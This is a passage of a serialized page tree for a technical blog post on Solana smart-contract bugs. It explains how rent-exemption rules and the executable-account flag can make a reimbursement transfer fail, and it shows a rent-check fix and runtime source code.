pre_lamports\n",{"type":23,"tag":213,"props":72887,"children":72888},{"class":215,"line":1851},[72889],{"type":23,"tag":213,"props":72890,"children":72891},{"style":220},[72892],{"type":28,"value":71116},{"type":23,"tag":213,"props":72894,"children":72895},{"class":215,"line":1864},[72896],{"type":23,"tag":213,"props":72897,"children":72898},{"style":220},[72899],{"type":28,"value":71124},{"type":23,"tag":213,"props":72901,"children":72902},{"class":215,"line":1890},[72903],{"type":23,"tag":213,"props":72904,"children":72905},{"style":220},[72906],{"type":28,"value":58938},{"type":23,"tag":213,"props":72908,"children":72909},{"class":215,"line":1899},[72910],{"type":23,"tag":213,"props":72911,"children":72912},{"style":220},[72913],{"type":28,"value":3444},{"type":23,"tag":213,"props":72915,"children":72916},{"class":215,"line":1912},[72917],{"type":23,"tag":213,"props":72918,"children":72919},{"style":220},[72920],{"type":28,"value":2875},{"type":23,"tag":24,"props":72922,"children":72923},{},[72924],{"type":28,"value":72925},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":202,"props":72927,"children":72929},{"className":4339,"code":72928,"language":4338,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72930],{"type":23,"tag":209,"props":72931,"children":72932},{"__ignoreMap":7},[72933,72949],{"type":23,"tag":213,"props":72934,"children":72935},{"class":215,"line":216},[72936,72940,72945],{"type":23,"tag":213,"props":72937,"children":72938},{"style":257},[72939],{"type":28,"value":16},{"type":23,"tag":213,"props":72941,"children":72942},{"style":246},[72943],{"type":28,"value":72944}," rent",{"type":23,"tag":213,"props":72946,"children":72947},{"style":514},[72948],{"type":28,"value":24337},{"type":23,"tag":213,"props":72950,"children":72951},{"class":215,"line":226},[72952,72957,72962,72967],{"type":23,"tag":213,"props":72953,"children":72954},{"style":257},[72955],{"type":28,"value":72956},"Rent-exempt",{"type":23,"tag":213,"props":72958,"children":72959},{"style":246},[72960],{"type":28,"value":72961}," minimum:",{"type":23,"tag":213,"props":72963,"children":72964},{"style":514},[72965],{"type":28,"value":72966}," 0.00089088",{"type":23,"tag":213,"props":72968,"children":72969},{"style":246},[72970],{"type":28,"value":72971}," SOL\n",{"type":23,"tag":18945,"props":72973,"children":72975},{"id":72974},"fix-1-only-reimburse-if-rent-exempt",[72976],{"type":28,"value":72977},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":72979,"children":72980},{},[72981],{"type":28,"value":72982},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":202,"props":72984,"children":72986},{"className":40418,"code":72985,"language":40420,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[72987],{"type":23,"tag":209,"props":72988,"children":72989},{"__ignoreMap":7},[72990,72998,73006,73014,73022,73030,73038,73046,73054,73062],{"type":23,"tag":213,"props":72991,"children":72992},{"class":215,"line":216},[72993],{"type":23,"tag":213,"props":72994,"children":72995},{"style":220},[72996],{"type":28,"value":72997},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":213,"props":72999,"children":73000},{"class":215,"line":226},[73001],{"type":23,"tag":213,"props":73002,"children":73003},{"style":514},[73004],{"type":28,"value":73005},"+let rent = Rent::get()?;\n",{"type":23,"tag":213,"props":73007,"children":73008},{"class":215,"line":524},[73009],{"type":23,"tag":213,"props":73010,"children":73011},{"style":514},[73012],{"type":28,"value":73013},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":213,"props":73015,"children":73016},{"class":215,"line":533},[73017],{"type":23,"tag":213,"props":73018,"children":73019},{"style":514},[73020],{"type":28,"value":73021},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":213,"props":73023,"children":73024},{"class":215,"line":543},[73025],{"type":23,"tag":213,"props":73026,"children":73027},{"style":220},[73028],{"type":28,"value":73029}," transfer_from_pda(\n",{"type":23,"tag":213,"props":73031,"children":73032},{"class":215,"line":551},[73033],{"type":23,"tag":213,"props":73034,"children":73035},{"style":220},[73036],{"type":28,"value":73037}," &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":213,"props":73039,"children":73040},{"class":215,"line":570},[73041],{"type":23,"tag":213,"props":73042,"children":73043},{"style":220},[73044],{"type":28,"value":73045}," &ctx.accounts.old_king,\n",{"type":23,"tag":213,"props":73047,"children":73048},{"class":215,"line":655},[73049],{"type":23,"tag":213,"props":73050,"children":73051},{"style":220},[73052],{"type":28,"value":73053}," to_reimburse,\n",{"type":23,"tag":213,"props":73055,"children":73056},{"class":215,"line":1176},[73057],{"type":23,"tag":213,"props":73058,"children":73059},{"style":220},[73060],{"type":28,"value":73061}," )?;\n",{"type":23,"tag":213,"props":73063,"children":73064},{"class":215,"line":1202},[73065],{"type":23,"tag":213,"props":73066,"children":73067},{"style":514},[73068],{"type":28,"value":73069},"+}\n",{"type":23,"tag":24,"props":73071,"children":73072},{},[73073],{"type":28,"value":73074},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":9693,"props":73076,"children":73078},{"id":73077},"bug-2-writable-but-untouchable-set_lamports-fails",[73079,73081,73087],{"type":28,"value":73080},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":209,"props":73082,"children":73084},{"className":73083},[],[73085],{"type":28,"value":73086},"set_lamports",{"type":28,"value":73088}," Fails",{"type":23,"tag":24,"props":73090,"children":73091},{},[73092,73094,73101],{"type":28,"value":73093},"Let's look at ",{"type":23,"tag":36,"props":73095,"children":73098},{"href":73096,"rel":73097},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[40],[73099],{"type":28,"value":73100},"BorrowedAccount::set_lamports",{"type":28,"value":124},{"type":23,"tag":202,"props":73103,"children":73105},{"className":206,"code":73104,"language":205,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[73106],{"type":23,"tag":209,"props":73107,"children":73108},{"__ignoreMap":7},[73109,73117,73138,73210,73218,73276,73308,73315,73323,73351,73383,73390,73398,73422,73454,73461,73469,73504,73520,73527,73555,73590,73601,73608,73615,73623,73642,73650,73690,73702,73714,73726,73757],{"type":23,"tag":213,"props":73110,"children":73111},{"class":215,"line":216},[73112],{"type":23,"tag":213,"props":73113,"children":73114},{"style":537},[73115],{"type":28,"value":73116},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":213,"props":73118,"children":73119},{"class":215,"line":226},[73120,73125,73129,73134],{"type":23,"tag":213,"props":73121,"children":73122},{"style":220},[73123],{"type":28,"value":73124},"#[cfg(not(target_os ",{"type":23,"tag":213,"props":73126,"children":73127},{"style":274},[73128],{"type":28,"value":3190},{"type":23,"tag":213,"props":73130,"children":73131},{"style":246},[73132],{"type":28,"value":73133}," \"solana\"",{"type":23,"tag":213,"props":73135,"children":73136},{"style":220},[73137],{"type":28,"value":20662},{"type":23,"tag":213,"props":73139,"children":73140},{"class":215,"line":524},[73141,73145,73149,73154,73158,73162,73166,73170,73174,73178,73182,73186,73190,73194,73198,73202,73206],{"type":23,"tag":213,"props":73142,"children":73143},{"style":230},[73144],{"type":28,"value":233},{"type":23,"tag":213,"props":73146,"children":73147},{"style":230},[73148],{"type":28,"value":254},{"type":23,"tag":213,"props":73150,"children":73151},{"style":257},[73152],{"type":28,"value":73153}," set_lamports",{"type":23,"tag":213,"props":73155,"children":73156},{"style":220},[73157],{"type":28,"value":265},{"type":23,"tag":213,"props":73159,"children":73160},{"style":274},[73161],{"type":28,"value":405},{"type":23,"tag":213,"props":73163,"children":73164},{"style":230},[73165],{"type":28,"value":287},{"type":23,"tag":213,"props":73167,"children":73168},{"style":230},[73169],{"type":28,"value":13873},{"type":23,"tag":213,"props":73171,"children":73172},{"style":220},[73173],{"type":28,"value":424},{"type":23,"tag":213,"props":73175,"children":73176},{"style":268},[73177],{"type":28,"value":2033},{"type":23,"tag":213,"props":73179,"children":73180},{"style":274},[73181],{"type":28,"value":277},{"type":23,"tag":213,"props":73183,"children":73184},{"style":290},[73185],{"type":28,"value":308},{"type":23,"tag":213,"props":73187,"children":73188},{"style":220},[73189],{"type":28,"value":298},{"type":23,"tag":213,"props":73191,"children":73192},{"style":274},[73193],{"type":28,"value":303},{"type":23,"tag":213,"props":73195,"children":73196},{"style":290},[73197],{"type":28,"value":13838},{"type":23,"tag":213,"props":73199,"children":73200},{"style":220},[73201],{"type":28,"value":13843},{"type":23,"tag":213,"props":73203,"children":73204},{"style":290},[73205],{"type":28,"value":2853},{"type":23,"tag":213,"props":73207,"children":73208},{"style":220},[73209],{"type":28,"value":905},{"type":23,"tag":213,"props":73211,"children":73212},{"class":215,"line":533},[73213],{"type":23,"tag":213,"props":73214,"children":73215},{"style":537},[73216],{"type":28,"value":73217}," // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":213,"props":73219,"children":73220},{"class":215,"line":543},[73221,73225,73229,73233,73237,73242,73246,73251,73255,73259,73263,73267,73272],{"type":23,"tag":213,"props":73222,"children":73223},{"style":1362},[73224],{"type":28,"value":2653},{"type":23,"tag":213,"props":73226,"children":73227},{"style":274},[73228],{"type":28,"value":2658},{"type":23,"tag":213,"props":73230,"children":73231},{"style":230},[73232],{"type":28,"value":13791},{"type":23,"tag":213,"props":73234,"children":73235},{"style":274},[73236],{"type":28,"value":124},{"type":23,"tag":213,"props":73238,"children":73239},{"style":257},[73240],{"type":28,"value":73241},"is_owned_by_current_program",{"type":23,"tag":213,"props":73243,"children":73244},{"style":220},[73245],{"type":28,"value":2698},{"type":23,"tag":213,"props":73247,"children":73248},{"style":274},[73249],{"type":28,"value":73250},"&&",{"type":23,"tag":213,"props":73252,"children":73253},{"style":268},[73254],{"type":28,"value":1005},{"type":23,"tag":213,"props":73256,"children":73257},{"style":274},[73258],{"type":28,"value":8804},{"type":23,"tag":213,"props":73260,"children":73261},{"style":230},[73262],{"type":28,"value":13873},{"type":23,"tag":213,"props":73264,"children":73265},{"style":274},[73266],{"type":28,"value":124},{"type":23,"tag":213,"props":73268,"children":73269},{"style":257},[73270],{"type":28,"value":73271},"get_lamports",{"type":23,"tag":213,"props":73273,"children":73274},{"style":220},[73275],{"type":28,"value":15791},{"type":23,"tag":213,"props":73277,"children":73278},{"class":215,"line":551},[73279,73283,73287,73291,73295,73299,73304],{"type":23,"tag":213,"props":73280,"children":73281},{"style":1362},[73282],{"type":28,"value":2839},{"type":23,"tag":213,"props":73284,"children":73285},{"style":290},[73286],{"type":28,"value":2844},{"type":23,"tag":213,"props":73288,"children":73289},{"style":220},[73290],{"type":28,"value":265},{"type":23,"tag":213,"props":73292,"children":73293},{"style":290},[73294],{"type":28,"value":2853},{"type":23,"tag":213,"props":73296,"children":73297},{"style":274},[73298],{"type":28,"value":562},{"type":23,"tag":213,"props":73300,"children":73301},{"style":290},[73302],{"type":28,"value":73303},"ExternalAccountLamportSpend",{"type":23,"tag":213,"props":73305,"children":73306},{"style":220},[73307],{"type":28,"value":2867},{"type":23,"tag":213,"props":73309,"children":73310},{"class":215,"line":570},[73311],{"type":23,"tag":213,"props":73312,"children":73313},{"style":220},[73314],{"type":28,"value":2875},{"type":23,"tag":213,"props":73316,"children":73317},{"class":215,"line":655},[73318],{"type":23,"tag":213,"props":73319,"children":73320},{"style":537},[73321],{"type":28,"value":73322}," // The balance of read-only may not change\n",{"type":23,"tag":213,"props":73324,"children":73325},{"class":215,"line":1176},[73326,73330,73334,73338,73342,73347],{"type":23,"tag":213,"props":73327,"children":73328},{"style":1362},[73329],{"type":28,"value":2653},{"type":23,"tag":213,"props":73331,"children":73332},{"style":274},[73333],{"type":28,"value":2658},{"type":23,"tag":213,"props":73335,"children":73336},{"style":230},[73337],{"type":28,"value":13791},{"type":23,"tag":213,"props":73339,"children":73340},{"style":274},[73341],{"type":28,"value":124},{"type":23,"tag":213,"props":73343,"children":73344},{"style":257},[73345],{"type":28,"value":73346},"is_writable",{"type":23,"tag":213,"props":73348,"children":73349},{"style":220},[73350],{"type":28,"value":15791},{"type":23,"tag":213,"props":73352,"children":73353},{"class":215,"line":1202},[73354,73358,73362,73366,73370,73374,73379],{"type":23,"tag":213,"props":73355,"children":73356},{"style":1362},[73357],{"type":28,"value":2839},{"type":23,"tag":213,"props":73359,"children":73360},{"style":290},[73361],{"type":28,"value":2844},{"type":23,"tag":213,"props":73363,"children":73364},{"style":220},[73365],{"type":28,"value":265},{"type":23,"tag":213,"props":73367,"children":73368},{"style":290},[73369],{"type":28,"value":2853},{"type":23,"tag":213,"props":73371,"children":73372},{"style":274},[73373],{"type":28,"value":562},{"type":23,"tag":213,"props":73375,"children":73376},{"style":290},[73377],{"type":28,"value":73378},"ReadonlyLamportChange",{"type":23,"tag":213,"props":73380,"children":73381},{"style":220},[73382],{"type":28,"value":2867},{"type":23,"tag":213,"props":73384,"children":73385},{"class":215,"line":1758},[73386],{"type":23,"tag":213,"props":73387,"children":73388},{"style":220},[73389],{"type":28,"value":2875},{"type":23,"tag":213,"props":73391,"children":73392},{"class":215,"line":1767},[73393],{"type":23,"tag":213,"props":73394,"children":73395},{"style":537},[73396],{"type":28,"value":73397}," // The balance of executable accounts may not change\n",{"type":23,"tag":213,"props":73399,"children":73400},{"class":215,"line":1789},[73401,73405,73409,73413,73418],{"type":23,"tag":213,"props":73402,"children":73403},{"style":1362},[73404],{"type":28,"value":2653},{"type":23,"tag":213,"props":73406,"children":73407},{"style":230},[73408],{"type":28,"value":13873},{"type":23,"tag":213,"props":73410,"children":73411},{"style":274},[73412],{"type":28,"value":124},{"type":23,"tag":213,"props":73414,"children":73415},{"style":257},[73416],{"type":28,"value":73417},"is_executable_internal",{"type":23,"tag":213,"props":73419,"children":73420},{"style":220},[73421],{"type":28,"value":15791},{"type":23,"tag":213,"props":73423,"children":73424},{"class":215,"line":1812},[73425,73429,73433,73437,73441,73445,73450],{"type":23,"tag":213,"props":73426,"children":73427},{"style":1362},[73428],{"type":28,"value":2839},{"type":23,"tag":213,"props":73430,"children":73431},{"style":290},[73432],{"type":28,"value":2844},{"type":23,"tag":213,"props":73434,"children":73435},{"style":220},[73436],{"type":28,"value":265},{"type":23,"tag":213,"props":73438,"children":73439},{"style":290},[73440],{"type":28,"value":2853},{"type":23,"tag":213,"props":73442,"children":73443},{"style":274},[73444],{"type":28,"value":562},{"type":23,"tag":213,"props":73446,"children":73447},{"style":290},[73448],{"type":28,"value":73449},"ExecutableLamportChange",{"type":23,"tag":213,"props":73451,"children":73452},{"style":220},[73453],{"type":28,"value":2867},{"type":23,"tag":213,"props":73455,"children":73456},{"class":215,"line":1838},[73457],{"type":23,"tag":213,"props":73458,"children":73459},{"style":220},[73460],{"type":28,"value":2875},{"type":23,"tag":213,"props":73462,"children":73463},{"class":215,"line":1851},[73464],{"type":23,"tag":213,"props":73465,"children":73466},{"style":537},[73467],{"type":28,"value":73468}," // don't touch the account if the lamports do not change\n",{"type":23,"tag":213,"props":73470,"children":73471},{"class":215,"line":1864},[73472,73476,73480,73484,73488,73492,73496,73500],{"type":23,"tag":213,"props":73473,"children":73474},{"style":1362},[73475],{"type":28,"value":2653},{"type":23,"tag":213,"props":73477,"children":73478},{"style":230},[73479],{"type":28,"value":13873},{"type":23,"tag":213,"props":73481,"children":73482},{"style":274},[73483],{"type":28,"value":124},{"type":23,"tag":213,"props":73485,"children":73486},{"style":257},[73487],{"type":28,"value":73271},{"type":23,"tag":213,"props":73489,"children":73490},{"style":220},[73491],{"type":28,"value":2698},{"type":23,"tag":213,"props":73493,"children":73494},{"style":274},[73495],{"type":28,"value":8660},{"type":23,"tag":213,"props":73497,"children":73498},{"style":268},[73499],{"type":28,"value":1005},{"type":23,"tag":213,"props":73501,"children":73502},{"style":220},[73503],{"type":28,"value":1375},{"type":23,"tag":213,"props":73505,"children":73506},{"class":215,"line":1890},[73507,73511,73515],{"type":23,"tag":213,"props":73508,"children":73509},{"style":1362},[73510],{"type":28,"value":2839},{"type":23,"tag":213,"props":73512,"children":73513},{"style":290},[73514],{"type":28,"value":42993},{"type":23,"tag":213,"props":73516,"children":73517},{"style":220},[73518],{"type":28,"value":73519},"(());\n",{"type":23,"tag":213,"props":73521,"children":73522},{"class":215,"line":1899},[73523],{"type":23,"tag":213,"props":73524,"children":73525},{"style":220},[73526],{"type":28,"value":2875},{"type":23,"tag":213,"props":73528,"children":73529},{"class":215,"line":1912},[73530,73534,73538,73543,73547,73551],{"type":23,"tag":213,"props":73531,"children":73532},{"style":230},[73533],{"type":28,"value":20840},{"type":23,"tag":213,"props":73535,"children":73536},{"style":274},[73537],{"type":28,"value":124},{"type":23,"tag":213,"props":73539,"children":73540},{"style":257},[73541],{"type":28,"value":73542},"touch",{"type":23,"tag":213,"props":73544,"children":73545},{"style":220},[73546],{"type":28,"value":13955},{"type":23,"tag":213,"props":73548,"children":73549},{"style":274},[73550],{"type":28,"value":2126},{"type":23,"tag":213,"props":73552,"children":73553},{"style":220},[73554],{"type":28,"value":313},{"type":23,"tag":213,"props":73556,"children":73557},{"class":215,"line":1921},[73558,73562,73566,73570,73574,73578,73582,73586],{"type":23,"tag":213,"props":73559,"children":73560},{"style":230},[73561],{"type":28,"value":20840},{"type":23,"tag":213,"props":73563,"children":73564},{"style":274},[73565],{"type":28,"value":124},{"type":23,"tag":213,"props":73567,"children":73568},{"style":220},[73569],{"type":28,"value":91},{"type":23,"tag":213,"props":73571,"children":73572},{"style":274},[73573],{"type":28,"value":124},{"type":23,"tag":213,"props":73575,"children":73576},{"style":257},[73577],{"type":28,"value":73086},{"type":23,"tag":213,"props":73579,"children":73580},{"style":220},[73581],{"type":28,"value":265},{"type":23,"tag":213,"props":73583,"children":73584},{"style":268},[73585],{"type":28,"value":2033},{"type":23,"tag":213,"props":73587,"children":73588},{"style":220},[73589],{"type":28,"value":2867},{"type":23,"tag":213,"props":73591,"children":73592},{"class":215,"line":3879},[73593,73597],{"type":23,"tag":213,"props":73594,"children":73595},{"style":290},[73596],{"type":28,"value":14407},{"type":23,"tag":213,"props":73598,"children":73599},{"style":220},[73600],{"type":28,"value":14412},{"type":23,"tag":213,"props":73602,"children":73603},{"class":215,"line":3887},[73604],{"type":23,"tag":213,"props":73605,"children":73606},{"style":220},[73607],{"type":28,"value":1208},{"type":23,"tag":213,"props":73609,"children":73610},{"class":215,"line":3918},[73611],{"type":23,"tag":213,"props":73612,"children":73613},{"emptyLinePlaceholder":18},[73614],{"type":28,"value":530},{"type":23,"tag":213,"props":73616,"children":73617},{"class":215,"line":3926},[73618],{"type":23,"tag":213,"props":73619,"children":73620},{"style":537},[73621],{"type":28,"value":73622},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":213,"props":73624,"children":73625},{"class":215,"line":3986},[73626,73630,73634,73638],{"type":23,"tag":213,"props":73627,"children":73628},{"style":220},[73629],{"type":28,"value":73124},{"type":23,"tag":213,"props":73631,"children":73632},{"style":274},[73633],{"type":28,"value":3190},{"type":23,"tag":213,"props":73635,"children":73636},{"style":246},[73637],{"type":28,"value":73133},{"type":23,"tag":213,"props":73639,"children":73640},{"style":220},[73641],{"type":28,"value":20662},{"type":23,"tag":213,"props":73643,"children":73644},{"class":215,"line":9132},[73645],{"type":23,"tag":213,"props":73646,"children":73647},{"style":220},[73648],{"type":28,"value":73649},"#[inline]\n",{"type":23,"tag":213,"props":73651,"children":73652},{"class":215,"line":9150},[73653,73657,73662,73666,73670,73674,73678,73682,73686],{"type":23,"tag":213,"props":73654,"children":73655},{"style":230},[73656],{"type":28,"value":20321},{"type":23,"tag":213,"props":73658,"children":73659},{"style":257},[73660],{"type":28,"value":73661}," is_executable_internal",{"type":23,"tag":213,"props":73663,"children":73664},{"style":220},[73665],{"type":28,"value":265},{"type":23,"tag":213,"props":73667,"children":73668},{"style":274},[73669],{"type":28,"value":405},{"type":23,"tag":213,"props":73671,"children":73672},{"style":230},[73673],{"type":28,"value":13791},{"type":23,"tag":213,"props":73675,"children":73676},{"style":220},[73677],{"type":28,"value":298},{"type":23,"tag":213,"props":73679,"children":73680},{"style":274},[73681],{"type":28,"value":303},{"type":23,"tag":213,"props":73683,"children":73684},{"style":290},[73685],{"type":28,"value":965},{"type":23,"tag":213,"props":73687,"children":73688},{"style":220},[73689],{"type":28,"value":1375},{"type":23,"tag":213,"props":73691,"children":73692},{"class":215,"line":9195},[73693,73697],{"type":23,"tag":213,"props":73694,"children":73695},{"style":274},[73696],{"type":28,"value":21021},{"type":23,"tag":213,"props":73698,"children":73699},{"style":230},[73700],{"type":28,"value":73701},"self\n",{"type":23,"tag":213,"props":73703,"children":73704},{"class":215,"line":9301},[73705,73709],{"type":23,"tag":213,"props":73706,"children":73707},{"style":274},[73708],{"type":28,"value":2671},{"type":23,"tag":213,"props":73710,"children":73711},{"style":220},[73712],{"type":28,"value":73713},"transaction_context\n",{"type":23,"tag":213,"props":73715,"children":73716},{"class":215,"line":23557},[73717,73721],{"type":23,"tag":213,"props":73718,"children":73719},{"style":274},[73720],{"type":28,"value":2671},{"type":23,"tag":213,"props":73722,"children":73723},{"style":220},[73724],{"type":28,"value":73725},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":213,"props":73727,"children":73728},{"class":215,"line":23592},[73729,73733,73737,73741,73745,73749,73753],{"type":23,"tag":213,"props":73730,"children":73731},{"style":274},[73732],{"type":28,"value":42857},{"type":23,"tag":213,"props":73734,"children":73735},{"style":230},[73736],{"type":28,"value":13873},{"type":23,"tag":213,"props":73738,"children":73739},{"style":274},[73740],{"type":28,"value":124},{"type":23,"tag":213,"props":73742,"children":73743},{"style":220},[73744],{"type":28,"value":91},{"type":23,"tag":213,"props":73746,"children":73747},{"style":274},[73748],{"type":28,"value":124},{"type":23,"tag":213,"props":73750,"children":73751},{"style":257},[73752],{"type":28,"value":113},{"type":23,"tag":213,"props":73754,"children":73755},{"style":220},[73756],{"type":28,"value":7824},{"type":23,"tag":213,"props":73758,"children":73759},{"class":215,"line":23600},[73760],{"type":23,"tag":213,"props":73761,"children":73762},{"style":220},[73763],{"type":28,"value":1208},{"type":23,"tag":24,"props":73765,"children":73766},{},[73767],{"type":28,"value":73768},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":73770,"children":73771},{},[73772,73774,73779],{"type":28,"value":73773},"Specifically, ",{"type":23,"tag":95,"props":73775,"children":73776},{},[73777],{"type":28,"value":73778},"executable accounts",{"type":28,"value":73780}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":18945,"props":73782,"children":73784},{"id":73783},"sidebar-whats-the-executable-flag-anyway",[73785],{"type":28,"value":73786},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":73788,"children":73789},{},[73790,73791,73796],{"type":28,"value":2623},{"type":23,"tag":209,"props":73792,"children":73794},{"className":73793},[],[73795],{"type":28,"value":113},{"type":28,"value":73797}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":73799,"children":73800},{},[73801,73803,73808],{"type":28,"value":73802},"This behavior became problematic with the introduction of the ",{"type":23,"tag":95,"props":73804,"children":73805},{},[73806],{"type":28,"value":73807},"Upgradeable BPF Loader",{"type":28,"value":73809},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":202,"props":73811,"children":73813},{"className":206,"code":73812,"language":205,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[73814],{"type":23,"tag":209,"props":73815,"children":73816},{"__ignoreMap":7},[73817,73829,73837,73857,73865,73877,73885,73905,73913,73941,73949,73957],{"type":23,"tag":213,"props":73818,"children":73819},{"class":215,"line":216},[73820,73825],{"type":23,"tag":213,"props":73821,"children":73822},{"style":290},[73823],{"type":28,"value":73824},"Program",{"type":23,"tag":213,"props":73826,"children":73827},{"style":220},[73828],{"type":28,"value":1375},{"type":23,"tag":213,"props":73830,"children":73831},{"class":215,"line":226},[73832],{"type":23,"tag":213,"props":73833,"children":73834},{"style":537},[73835],{"type":28,"value":73836}," /// Address of the ProgramData account.\n",{"type":23,"tag":213,"props":73838,"children":73839},{"class":215,"line":524},[73840,73845,73849,73853],{"type":23,"tag":213,"props":73841,"children":73842},{"style":268},[73843],{"type":28,"value":73844}," programdata_address",{"type":23,"tag":213,"props":73846,"children":73847},{"style":274},[73848],{"type":28,"value":277},{"type":23,"tag":213,"props":73850,"children":73851},{"style":290},[73852],{"type":28,"value":419},{"type":23,"tag":213,"props":73854,"children":73855},{"style":220},[73856],{"type":28,"value":944},{"type":23,"tag":213,"props":73858,"children":73859},{"class":215,"line":533},[73860],{"type":23,"tag":213,"props":73861,"children":73862},{"style":220},[73863],{"type":28,"value":73864},"},\n",{"type":23,"tag":213,"props":73866,"children":73867},{"class":215,"line":543},[73868,73873],{"type":23,"tag":213,"props":73869,"children":73870},{"style":290},[73871],{"type":28,"value":73872},"ProgramData",{"type":23,"tag":213,"props":73874,"children":73875},{"style":220},[73876],{"type":28,"value":1375},{"type":23,"tag":213,"props":73878,"children":73879},{"class":215,"line":551},[73880],{"type":23,"tag":213,"props":73881,"children":73882},{"style":537},[73883],{"type":28,"value":73884}," /// Slot that the program was last modified.\n",{"type":23,"tag":213,"props":73886,"children":73887},{"class":215,"line":570},[73888,73893,73897,73901],{"type":23,"tag":213,"props":73889,"children":73890},{"style":268},[73891],{"type":28,"value":73892}," slot",{"type":23,"tag":213,"props":73894,"children":73895},{"style":274},[73896],{"type":28,"value":277},{"type":23,"tag":213,"props":73898,"children":73899},{"style":290},[73900],{"type":28,"value":308},{"type":23,"tag":213,"props":73902,"children":73903},{"style":220},[73904],{"type":28,"value":944},{"type":23,"tag":213,"props":73906,"children":73907},{"class":215,"line":655},[73908],{"type":23,"tag":213,"props":73909,"children":73910},{"style":537},[73911],{"type":28,"value":73912}," /// Address of the Program's upgrade authority.\n",{"type":23,"tag":213,"props":73914,"children":73915},{"class":215,"line":1176},[73916,73921,73925,73929,73933,73937],{"type":23,"tag":213,"props":73917,"children":73918},{"style":268},[73919],{"type":28,"value":73920}," upgrade_authority_address",{"type":23,"tag":213,"props":73922,"children":73923},{"style":274},[73924],{"type":28,"value":277},{"type":23,"tag":213,"props":73926,"children":73927},{"style":290},[73928],{"type":28,"value":27701},{"type":23,"tag":213,"props":73930,"children":73931},{"style":220},[73932],{"type":28,"value":434},{"type":23,"tag":213,"props":73934,"children":73935},{"style":290},[73936],{"type":28,"value":1532},{"type":23,"tag":213,"props":73938,"children":73939},{"style":220},[73940],{"type":28,"value":6230},{"type":23,"tag":213,"props":73942,"children":73943},{"class":215,"line":1202},[73944],{"type":23,"tag":213,"props":73945,"children":73946},{"style":537},[73947],{"type":28,"value":73948}," // The raw program data follows this serialized structure in the\n",{"type":23,"tag":213,"props":73950,"children":73951},{"class":215,"line":1758},[73952],{"type":23,"tag":213,"props":73953,"children":73954},{"style":537},[73955],{"type":28,"value":73956}," // account's data.\n",{"type":23,"tag":213,"props":73958,"children":73959},{"class":215,"line":1767},[73960],{"type":23,"tag":213,"props":73961,"children":73962},{"style":220},[73963],{"type":28,"value":73864},{"type":23,"tag":24,"props":73965,"children":73966},{},[73967,73969,73976],{"type":28,"value":73968},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":36,"props":73970,"children":73973},{"href":73971,"rel":73972},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[40],[73974],{"type":28,"value":73975},"SIMD-0162",{"type":28,"value":73977},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":73979,"children":73980},{},[73981,73983,73988,73990,73995],{"type":28,"value":73982},"This change is also a ",{"type":23,"tag":95,"props":73984,"children":73985},{},[73986],{"type":28,"value":73987},"hard requirement for supporting the new loader-v4",{"type":28,"value":73989},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":209,"props":73991,"children":73993},{"className":73992},[],[73994],{"type":28,"value":73872},{"type":28,"value":73996}," proxy 